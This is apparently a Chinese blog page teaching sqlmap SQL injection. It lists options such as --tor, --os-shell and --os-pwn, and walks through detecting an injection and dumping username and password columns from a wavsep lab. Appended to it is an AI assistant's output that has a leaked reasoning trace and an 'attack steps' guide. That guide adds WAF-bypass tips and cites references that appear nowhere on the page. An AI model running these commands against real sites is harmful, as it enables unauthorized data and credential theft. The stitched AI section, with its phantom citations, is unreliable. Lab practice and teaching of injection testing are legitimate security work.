sqlmap注入使用教程

最近在学习SQL注入的东西。自己搭建了一个wavsep靶机,作为练习的对象,之后有空会写一个wavsep的教程。

首先下载安装sqlmap..github传送门:https://github.com/sqlmapproject/sqlmap/releases

一、sqlmap选项

  目标:至少要选中一个参数
    -u URL, --url=URL   目标为 URL (例如. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK       将谷歌dork的结果作为目标url
  请求:
    这些选项可用于指定如何连接到目标URL
    --data=DATA         数据字符串通过POST发送
    --cookie=COOKIE     HTTP Cookie的值
    --random-agent      随机选择 HTTP User-Agent 头的值
    --proxy=PROXY       使用代理去连接目标URL
    --tor               使用匿名网络
    --check-tor         检查Tor是否正确使用
  注入:
    这些选项可用于指定要测试哪些参数,提供自定义注入负载和可选篡改脚本
    -p TESTPARAMETER    可测试的参数
    --dbms=DBMS         将后端DBMS强制到此值
  检测:
    这些选项可用于定制检测阶段
    --level=LEVEL       执行的测试级别(1-5, 默认 1)
    --risk=RISK         执行测试的风险 (1-3, 默认 1)
  技术:
    这些选项可用于调整特定SQL注入的测试的技术
    --technique=TECH    SQL注入技术选择 (默认 "BEUSTQ")
  枚举:
    T这些选项可用于枚举后端数据库管理系统的信息、结构和数据表。此外,还可以运行自己的SQL语句
    -a, --all           检索全部
    -b, --banner        检索 banner
    --current-user      检索当前用户
    --current-db        检索当前数据库
    --passwords         列出用户密码的hash值
    --tables            列出表
    --columns           列出字段
    --schema            列出DBMS schema
    --dump              Dump DBMS数据库表的条目
    --dump-all          Dump 所有DBMS数据库表的条目
    -D DB               指定数据库
    -T TBL              指定表
    -C COL              指定字段
  操作系统访问:
    这些选项可用于访问后端数据库管理系统底层操作系统
    --os-shell          提示为交互式操作系统shell
    --os-pwn            提示为OOB外壳,Meterpreter或VNC
  通用:
    这些选项可用于设置一些通用的工作参数
    --batch             永远不要要求用户输入,使用默认行为
    --flush-session     刷新当前目标的会话文件
  杂项:
    --sqlmap-shell      提示输入交互式sqlmap shell
    --wizard            初学者的简单向导界面


二、sqlmap使用

1.对url进行检测,判断是否存在SQL注入

python sqlmap.py -u "url" --batch


跑完以后发现存在注入,,参数是username 注入类型为盲注,数据库是mysql,后端语言是jsp

2.获取数据库

python sqlmap.py -u URL --dbs --batch 获取全部数据库

python sqlmap.py -u URL --current-db --batch 获取当前数据库


获取到了当前的数据库为 wavsepDB


3.获取当前数据库里所有表

python sqlmap.py -u URL -D wavsepDB --tables --batch



4.获取表的字段

python sqlmap.py -u URL -D wavsepDB -T users --columns --batch


如图获取到上面字段以后,我们就开始dump字段内容了。

5.dump字段内容

python sqlmap.py -u URL -D wavsepDB -T users -C "password,username" --dump --batch

如果字段内容多的话可以再加上如 --start 1 --stop 100 这样就取1-100条数据

--dump 可以换成 --dump-all则导出全部的内容



目前这个只是最常规的使用,还得多多练习。


<think>好的,我现在需要帮助用户查找关于使用sqlmap进行SQL注入攻击的教学资料。用户已经提供了一些相关的引用内容,我需要结合这些资料来整理出一个清晰的回答。 首先,我得先理解用户的需求。他们想要一个教程,指导如何使用sqlmap进行SQL注入攻击。根据提供的引用,引用[1]和引用[4]直接提到了sqlmap的基本使用方法和步骤,而引用[2]和引用[3]则涉及具体的SQL注入案例,比如Access数据库和DVWA的示例。这些内容可以作为回答的基础。 接下来,我需要组织回答的结构。用户要求结构清晰,逐步解决问题,所以可能需要分步骤讲解sqlmap使用流程。同时,根据系统级指令,需要生成相关问题,并在回答中引用给定的参考资料。还要注意使用正确的LaTeX格式,不过在这个问题中可能数学公式较少,但如果有变量或代码的话,要正确使用$...$或$$...$$。 然后,我需要确保引用的正确性。比如,引用[1]提到了sqlmap支持的数据库类型,引用[4]提到了下载和基本命令,引用[2]和引用[3]提供了实际注入的例子。在回答的不同部分,如安装步骤、基本命令、实际案例中,需要自然地插入引用标识。 另外,用户可能对如何判断注入点、绕过防护机制、实际案例应用等有进一步的问题,所以生成的相关问题要覆盖这些方面。需要确保每个引用都被正确使用,比如在提到Access数据库注入时引用[2],在提到DVWA时引用[3]。 还要注意用户提到的中文回答,以及LaTeX的正确使用。例如,如果有变量或代码内联,需要用$...$,但在这个回答中可能大部分是命令行示例,所以需要正确使用代码块,并注意语法正确性。 最后,检查是否遗漏了用户提供的任何引用,确保所有相关信息都被涵盖,并且回答逻辑流畅,步骤明确,帮助用户逐步理解和应用sqlmap进行SQL注入测试。</think>### SQLmap使用教程SQL注入攻击步骤 SQLmap是一款自动化SQL注入工具,支持检测和利用多种数据库的注入漏洞(如MySQL、Oracle、Access等)[^1]。以下是其核心使用方法和攻击流程: --- #### 一、环境准备 1. **安装SQLmap** - 从官网下载并解压sqlmap文件[^4]: ```bash wget https://sqlmap.org/sqlmap.zip unzip sqlmap.zip ``` - 运行依赖Python环境: ```bash python sqlmap.py -h ``` --- #### 二、基础命令与注入流程 1. **目标探测** - 指定目标URL检测注入点[^3]: ```bash python sqlmap.py -u "http://example.com/page?id=1" ``` - 若需POST请求,添加`--data`参数: ```bash python sqlmap.py -u "http://example.com/login" --data="username=admin&password=123" ``` 2. **数据库指纹识别** - 获取数据库类型和版本: ```bash python sqlmap.py -u [URL] --banner ``` 3. **注入点利用** - 爆出数据库名称[^2]: ```bash python sqlmap.py -u [URL] --dbs ``` - 指定数据库并列举表名: ```bash python sqlmap.py -u [URL] -D [数据库名] --tables ``` 4. **数据提取** - 导出表中字段内容: ```bash python sqlmap.py -u [URL] -D [数据库名] -T [表名] --dump ``` --- #### 三、高级技巧与绕过防护 1. **绕过WAF** 使用随机化User-Agent或代理: ```bash python sqlmap.py -u [URL] --random-agent --proxy="http://127.0.0.1:8080" ``` 2. **联合查询注入** 手动判断字段数后执行联合查询: ```bash python sqlmap.py -u [URL] --union-cols=3 ``` --- #### 四、实战案例参考 1. **Access数据库注入** 通过联合查询爆出字段数据(如凡诺系统案例)。 2. **DVWA靶场测试** 利用DVWA低安全级别环境练习注入[^3]。 ---
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值